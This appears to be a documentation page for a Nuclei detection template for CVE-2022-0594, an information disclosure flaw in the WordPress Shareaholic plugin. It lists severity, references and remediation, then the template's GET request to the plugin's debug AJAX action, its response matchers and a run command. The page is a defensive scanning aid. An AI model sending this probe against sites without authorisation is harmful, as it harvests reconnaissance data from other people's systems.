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WordPress Shareaholic <9.7.6 - Information Disclosure

ID: CVE-2022-0594

Severity: medium

Author: atomiczsec

Tags: cve,cve2022,wordpress,wp,wp-plugin,exposure,wpscan,shareaholic

Description

Section titled “Description”

WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).

YAML Source

Section titled “YAML Source”
id: CVE-2022-0594


info:
  name: WordPress Shareaholic <9.7.6 - Information Disclosure
  author: atomiczsec
  severity: medium
  description: WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update the Shareaholic plugin to version 9.7.6 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
    - https://wordpress.org/plugins/shareaholic/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0594
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0594
    cwe-id: CWE-863
    epss-score: 0.00188
    epss-percentile: 0.55305
    cpe: cpe:2.3:a:shareaholic:shareaholic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shareaholic
    product: shareaholic
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wp-plugin,exposure,wpscan,shareaholic


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'plugin_version'
          - 'shareaholic_server_reachable'
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0594.yaml"

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